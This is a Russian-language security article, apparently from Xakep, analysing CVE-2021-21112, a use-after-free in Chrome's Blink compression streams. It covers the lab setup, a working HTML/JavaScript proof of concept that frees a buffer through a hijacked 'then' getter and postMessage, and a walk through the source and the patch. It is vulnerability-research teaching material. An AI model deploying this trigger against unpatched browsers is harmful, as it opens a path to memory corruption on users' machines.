Хакер - Жидкий хром. Как работает баг use after free в движке Blink

Хакер - Жидкий хром. Как работает баг use after free в движке Blink

hacker_frei


https://t.me/hacker_frei

sploitem

Содержание статьи

  • Стенд
  • Теория
  • Потоки сжатия
  • Promise
  • postMessage
  • Запуск PoC
  • Анализ PoC
  • Анализ исходного кода
  • Анализ патча
  • Выводы

В янва­ре 2021 года вышел оче­ред­ной ре­лиз бра­узе­ра Chrome. В нем испра­вили 16 уяз­вимос­тей. Одну из них мы с тобой сегод­ня раз­берем, что­бы понять механизм воз­никно­вения таких багов и спо­собы экс­плу­ата­ции, с помощью которых зло­умыш­ленник может ата­ковать машину, оставшу­юся без обновле­ний.

Вер­сия Chrome, о которой пой­дет речь, — 87.0.4280.141. А инте­ресу­ющая нас запат­ченная уяз­вимость — CVE-2021-21112. Она каса­ется ком­понен­та потоков ком­прес­сии в бра­узер­ном движ­ке Blink и работа­ет по прин­ципу use after free. О баге сооб­щил иссле­дова­тель YoungJoo Lee (@ashuu_lee) из ком­пании Raon Whitehat в нояб­ре 2020 года через сайт bugs.chromium.org, номер отче­та 1151298.

Blink — это бра­узер­ный дви­жок, на осно­ве которо­го работа­ет Chrome. А потоки сжа­тия — это те же веб‑потоки (web streams), но для удобс­тва веб‑раз­работ­чиков переда­ющиеся со сжа­тием. Что­бы не при­ходи­лось тянуть за про­ектом зависи­мос­ти типа zlib, соз­датели Chrome решили интегри­ровать фор­маты сжа­тия gzip и deflate в дви­жок Blink.

По сути, это удоб­ная обер­тка, тран­сфор­миру­ющий поток с алго­рит­мом тран­сфор­мации дан­ных по умол­чанию (или gzip, или deflate). Тран­сфор­миру­ющий поток — это объ­ект, содер­жащий два потока: чита­емый (readable) и записы­ваемый (writable). А меж­ду ними находит­ся тран­сфор­мер, который при­меня­ет задан­ный алго­ритм к про­ходя­щим меж­ду ними дан­ным.

В статье я буду ссы­лать­ся на ста­рые вер­сии спе­цифи­кации потоков и исходно­го кода. По понят­ным при­чинам исходный код с тех пор изме­нил­ся. Да и спе­цифи­кация тоже.

СТЕНД

Для вос­про­изве­дения уяз­вимос­ти понадо­бит­ся стенд, сос­тоящий из вир­туаль­ной машины и уяз­вимой вер­сии Chrome. Готовую вир­туаль­ную машину мож­но заг­рузить с сай­та osboxes.org. Сайт пре­дос­тавля­ет обра­зы вир­туаль­ных машин как для VirtualBox, так и для VMware.

Я буду исполь­зовать образ Xubuntu 20 для VirtualBox. Читатель волен выбирать любой дис­три­бутив. Запус­каем машину, обновля­емся:

sudo apt update && sudo apt upgrade -y

Те­перь нам нуж­на уяз­вимая вер­сия бра­узе­ра.

Уяз­вимую вер­сию Chrome, ском­пилиро­ван­ную с ASan (AddressSanitizer), мож­но ска­чать с googleapis.com. В отче­те об уяз­вимос­ти ука­зано наз­вание нуж­ной сбор­ки, а имен­но билд asan-linux-release-812852. Рас­паковы­ваем архив:

unzip asan-linux-release-812852.zip

Го­товый билд сэконо­мит кучу вре­мени, так как сбор­ка бра­узе­ра тре­бует вре­мени, осо­бен­но если машина не очень мощ­ная.

AddressSanitizer — это детек­тор оши­бок памяти. Он пре­дос­тавля­ет инс­тру­мен­тацию во вре­мя ком­пиляции кода и биб­лиоте­ку вре­мени выпол­нения (runtime). Под­робнее о нем мож­но почитать на сай­те Clang.

Те­перь у нас готова вир­туаль­ная машина и ска­чан необ­ходимый билд Chrome. Помимо них, нам понадо­бит­ся Python 3 и LLVM. Обыч­но лог санитай­зера ASan выг­лядит нечита­емо, пос­коль­ку там ука­заны толь­ко адре­са и сме­щения. Разоб­рать­ся поможет ути­лита llvm-symbolizer, которая уста­нав­лива­ется вмес­те с LLVM. Она чита­ет эти адре­са и сме­щения и выводит соот­ветс­тву­ющие мес­та в исходном коде. Лог ASan будет выг­лядеть нам­ного понят­нее.

Ну а Python поможет нам готовить дан­ные для сжа­тия.

Все уста­нов­лено, теперь в бой!

ТЕОРИЯ

Преж­де чем раз­бирать­ся в деталях уяз­вимос­ти, нам нуж­но нем­ного понимать пред­метную область.

Пре­дыс­тория все­го это­го такова. В кон­це 2019 года коман­да раз­работ­чиков Chromium реали­зова­ла новый JavaScript API, который называ­ется Compression Streams. Детали реали­зации при­веде­ны в от­чете.

Этот API осно­ван на спе­цифи­кации по­токов (спе­цифи­кация от 30 янва­ря 2020 года). Под­робно с его кон­цепци­ей можешь озна­комить­ся в ди­зайн‑докумен­те, допол­нитель­ные пояс­нения смот­ри на GitHub.

Я при­вожу более ста­рые вер­сии, так как уяз­вимость касалась имен­но их реали­зации. В даль­нейшем спе­цифи­кация потоков и их реали­зация в Chromium изме­нилась.

Те­перь раз­берем­ся в потоках пре­обра­зова­ния, потоках сжа­тия, объ­ектах promise и методе postMessage

Потоки сжатия

По­токи сжа­тия осно­ваны на кон­цепции и реали­зации веб‑потоков. Отли­чие в том, что потоки ком­прес­сии могут сжи­мать и рас­паковы­вать дан­ные. На выбор — алго­рит­мы gzip и deflate, широко при­меня­емые в веб‑тех­нологи­ях. Потоки ком­прес­сии удов­летво­ряют спе­цифи­кации transform stream.


Ни­же при­веде­на схе­ма алго­рит­ма.

Гру­бо говоря, если дан­ные не кон­чились (счи­тан чанк), то вызыва­ется метод Transform, а тот вызовет метод ком­прес­сии или деком­прес­сии — в дан­ном слу­чае Inflate. В этом методе дан­ные обра­баты­вают­ся в цик­ле. Затем они помеща­ются в оче­редь потока. Для это­го вызыва­ется метод Enqueue.

То есть обра­баты­ваем кус­ки дан­ных и кла­дем их в оче­редь.

Promise

JavaScript час­то опи­сыва­ют как язык про­тотип­ного нас­ледова­ния. Каж­дый объ­ект име­ет объ­ект‑про­тотип — шаб­лон методов и свой­ств. Все объ­екты име­ют общий про­тотип Object.prototype и свой отдель­ный.

По­это­му при изме­нении каких‑то свой­ств или методов про­тоти­па новые объ­екты будут обла­дать изме­нен­ными свой­ства­ми или метода­ми.

Да­лее нас инте­ресу­ют асин­хрон­ное прог­рамми­рова­ние и «обе­щания» (promise). Рань­ше JavaScript исполнял­ся син­хрон­но, но это мешало веб‑стра­ницам быс­тро заг­ружать­ся и плав­но работать. Асин­хрон­ное прог­рамми­рова­ние поз­воля­ет обой­ти эту проб­лему. При ожи­дании какой‑то опе­рации (заг­рузки дан­ных по сети, чте­ния с дис­ка и тому подоб­ных) основной поток при­ложе­ния не бло­киру­ется, и оно не под­виса­ет.

Сна­чала в JavaScript внед­рили асин­хрон­ные кол­бэки (вызовы фун­кций по завер­шении опе­рации). Поз­днее при­дума­ли новый стиль написа­ния асин­хрон­ного кода — «обе­щания». Promise — это объ­ект, пред­став­ляющий асин­хрон­ную опе­рацию, выпол­ненную удач­но или неудач­но. На кар­тинке это наг­лядно изоб­ражено.

Ис­точник — javascript.ru

Про­мис — это как бы про­межу­точ­ное сос­тояние: «Я обе­щаю вер­нуть­ся к вам с резуль­татом как мож­но ско­рее».

У объ­екта promise есть метод then. Он при­нима­ет два парамет­ра: фун­кции, которые нуж­но выз­вать в слу­чае раз­решения (resolve) или в слу­чае откло­нения (reject). В зависи­мос­ти от резуль­тата будет выз­вана соот­ветс­тву­ющая.

Осо­бен­ность JavaScript в том, что в этом язы­ке все явля­ется объ­ектом. По сути метод или фун­кция — это тоже объ­ект. И дос­туп к нему — это вызов объ­ектов get и set объ­екта — про­тоти­па объ­екта. Кра­сиво?

Осо­бен­ность объ­екта promise в том, что при его раз­решении (resolve) необ­ходимо выз­вать then. Дос­туп к это­му методу (get) мож­но изме­нить на поль­зователь­ский код, сме­нив общий для всех объ­ектов про­тотип:

Object.defineProperty(Object.prototype, "then", {

get() {

console.log("then getter executed");

}

});

postMessage

Как мы можем узнать из MDN Web Docs, этот метод поз­воля­ет обме­нивать­ся дан­ными меж­ду объ­екта­ми типа Window, нап­ример меж­ду стра­ницей и фрей­мом. Инте­рес­ная осо­бен­ность зак­люча­ется в том, как переда­ются дан­ные.

postMessage(message, targetOrigin, transfer);

Пос­ле вызова фун­кции вла­дение transfer переда­ется адре­сату, а на переда­ющей сто­роне прек­раща­ется.

Ес­ли вкрат­це, суть уяз­вимос­ти в том, что обра­бот­ка боль­шого мас­сива дан­ных про­исхо­дит в цик­ле и при добав­лении обра­ботан­ных чан­ков в оче­редь есть воз­можность выз­вать поль­зователь­ский код на JS. Это обес­печено тем, что объ­екту promise дано раз­решение на чте­ние из потока. Поль­зователь­ский код через postMessage может осво­бодить дан­ные, которые на тот момент обра­баты­вались в цик­ле.

Для более деталь­ного понима­ния всех кон­цепций мож­но обра­тить­ся к спе­цифи­кации. Мы же перехо­дим к прак­тике. 

ЗАПУСК POC

Пер­вым делом нуж­но LLVM, так как с ним пос­тавля­ется сим­болиза­тор. Без него стек вызовов будет выг­лядеть непонят­но, пос­коль­ку не будет наз­ваний методов и имен фай­лов.

Ска­чан­ный билд рас­паковы­ваем в вир­туал­ке и запус­каем. Смот­рим, что­бы вер­сия сов­падала со скрин­шотом.

Те­перь соз­дадим файл randomfile.py и запус­тим его:

python3 randomfile.py

Этим мы соз­дадим дан­ные, которые будет счи­тывать поток сжа­тия (deflate).

with open('/dev/urandom', 'rb') as f:

random = f.read(0x40000)

with open('./random', 'wb') as f:

f.write(random)

Да­лее соз­даем файл poc.html и записы­ваем в него сле­дующее:

<html>

<title>Secware.ru</title>

<script>

let ab;

async function main() {

await fetch("random").then(x => x.body.getReader().read().then(y => ab = y.value.buffer));

Object.defineProperty(Object.prototype, "then", {

get() {

var ab2 = new ArrayBuffer(0);

try {

postMessage("", "Secware", [ab]);

} catch (e) {

console.log("free");

}

}

});

var input = new Uint8Array(ab);

console.log(ab.length);

const cs = new CompressionStream('deflate');

const writer = cs.writable.getWriter();

writer.write(input);

writer.close();

const output = [];

const reader = cs.readable.getReader();

console.log(reader);

var { value, done } = await reader.read();

}

main();

</script>

<body>

<h2>Welcome to Secware pwn page!</h2>

</body>

</html>

Те­перь нуж­но открыть новый тер­минал и запус­тить веб‑сер­вер из пап­ки с фай­лами poc.html и random.

python3 -m http.server

Пе­ред запус­ком Chromium сле­дует уста­новить опции ASan.

export ASAN_OPTIONS=symbolize=1

Да­лее запус­каем уяз­вимый билд и ука­зыва­ем ему, куда под­клю­чить­ся. Заод­но ука­жем фла­ги запус­ка без песоч­ницы и исполь­зования GPU.

asan-linux-release-812852/chrome --no-sandbox --disable-gpu http://127.0.0.1:8000/poc.html

Вклад­ка бра­узе­ра дол­жна упасть.

В кон­соли мож­но уви­деть лог санитай­зера адре­сов ASan.

На рисун­ке ниже при­веден стек вызовов до метода Transform на сай­те исходно­го кода Chromium. Но в вет­ке main (на момент написа­ния статьи 2ff0ac6), так как в ста­рых ком­митах не работа­ют референ­сы и слож­но отыс­кать граф вызовов нуж­ных методов.

Схе­мати­чес­ки граф вызовов выг­лядит так.

Ме­тод Transform вызыва­ет Deflate (в слу­чае сжа­тия), где и про­исхо­дит use after free, на стро­ке 117 фай­ла deflate_transformer.cc. По фак­ту дос­туп к осво­бож­денно­му мас­сиву про­исхо­дит в коде zlib, но мы туда не полезем.

Так­же в логе вид­но, что осво­бож­дение памяти про­исхо­дит из метода postMessage.

АНАЛИЗ POC

Пос­мотрим код, который триг­герит уяз­вимость. Сна­чала вызыва­ется фун­кция fetch и под­гру­жает­ся наш файл random. Буфер с дан­ными прис­ваивает­ся перемен­ной ab.

await fetch("random").then(x => x.body.getReader().read().then(y=>ab=y.value.buffer));

За­тем пере­опре­деля­ется аксессор свой­ства then. Здесь как раз про­писан код, который осво­бож­дает память через вызов postMessage. Мас­сив ab будет осво­бож­ден (параметр transfer).

Object.defineProperty(Object.prototype, "then", {

get() {

var ab2 = new ArrayBuffer(0);

try {

postMessage("", "Secware", [ab]);

} catch (e) {

console.log("free");

}

}

});

В осталь­ной час­ти кода соз­дает­ся поток сжа­тия, ему переда­ются дан­ные из нашего фай­ла random и через читате­ля (reader) соз­дает­ся зап­рос на чте­ние (read_request).

var input = new Uint8Array(ab);

console.log(ab.length);

const cs = new CompressionStream('deflate');

const writer = cs.writable.getWriter();

writer.write(input);

writer.close();

const output = [];

const reader = cs.readable.getReader();

console.log(reader);

var { value, done } = await reader.read();

Как раз этот зап­рос на чте­ние и спро­воци­рует осво­бож­дение памяти. Как? Если вкрат­це, то вызов кон­трол­лера enqueue тран­сфор­миру­юще­го потока при­водит к вызову поль­зователь­ско­го кода. Это как раз код, который акти­виру­ет postMessage и осво­бож­дает мас­сив ab.

Уп­рощен­но схе­ма выг­лядит вот так.

АНАЛИЗ ИСХОДНОГО КОДА

Схе­мати­чес­ки цепоч­ка вызовов от Deflate до поль­зователь­ско­го кода на JS будет такой, как на схе­ме ниже.

Те­перь, зная общую кар­тину, прой­дем­ся по исходно­му коду. Вот как выг­лядит метод сжа­тия Deflate. В цик­ле do-while дан­ные чита­ются, сжи­мают­ся (deflate), а потом помеща­ются в оче­редь потока (controller->enqueue()).

Фун­кция cpp controller->enqueue() при­ведет нас в ме­тод cpp TransformStreamDefaultController::Enqueue. Для крат­кости я про­пус­тил пару пос­редни­ков меж­ду ними.

Здесь вызыва­ется метод с таким же наз­вани­ем, но из клас­са кон­трол­лера readable-потока (ReadableStreamDefaultController).

Здесь про­исхо­дит про­вер­ка наличия зап­росов на чте­ние. А мы как раз оста­вили один такой зап­рос при помощи такого кода:

javascript var { value, done } = await reader.read();

А раз он есть, будет выз­ван ме­тод cpp ReadableStream::FulFillReadRequest.

Тот в свою оче­редь вызовет Resolve для promise, то есть зап­рос на чте­ние.

По спе­цифи­кации ECMAScript раз­решение promise обя­затель­но дол­жно зай­ти в свой­ство then. А пос­коль­ку мы поменя­ли гет­тер then через Object.prototype, то при дос­тупе к then вызовет­ся наш код. Он осво­бодит мас­сив, который в дан­ный момент обра­баты­вает цикл метода Deflate.

А зна­чит, код попыта­ется получить дос­туп к осво­бож­денной памяти.

Так и работа­ет уяз­вимость. Осталь­ное сво­дит­ся к экс­плу­ата­ции уяз­вимос­тей типа use after free. Но это уже отдель­ная тема, тре­бующая отдель­ной объ­емной статьи.

WWW

АНАЛИЗ ПАТЧА

Те­перь пос­мотрим, как же пофик­сили дан­ную уяз­вимость раз­работ­чики Chromium. В опи­сании пат­ча го­ворит­ся сле­дующее:

Correctly handle detach during (de)compression
Sometimes CompressionStream and DecompressionStream enqueue multiple output chunks for a single input chunk. When this happens, JavaScript code can detach the input ArrayBuffer while the stream is processing it. This will cause an error when zlib tries to read the buffer again afterwards. To prevent this, buffer output chunks until the entire input chunk has been processed, and then enqueue them all at once.

По сути, для ком­прес­сии и деком­прес­сии теперь исполь­зует­ся вре­мен­ный мас­сив buffers.

Толь­ко пос­ле это­го дан­ные переда­ются в оче­редь потока через вызов enqueue. Уже он может выз­вать поль­зователь­ский код на JS.

Сле­дова­тель­но, во вре­мя работы цик­ла ком­прес­сии/деком­прес­сии уже невоз­можно выз­вать поль­зователь­ский код. Метод enqueue будет выз­ван пос­ле. То же будет и с кодом ата­кующе­го, но дан­ные уже обра­бота­ны и дос­тупа к осво­бож­денной памяти не будет.

ВЫВОДЫ

В зак­лючение хочу ска­зать, что уяз­вимость явно была вдох­новле­на пре­дыду­щими подоб­ными багами. Отче­ты Сер­гея Гла­зуно­ва номер 2001 от 27 янва­ря 2020 года и номер 2005 от 30 янва­ря 2020 года касались это­го же ком­понен­та. Уяз­вимос­ти триг­герились похожим методом и были свя­заны с раз­решени­ем promise. В текущей вер­сии спе­цифи­кации потоков и кода Chromium такая воз­можность отсутс­тву­ет.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page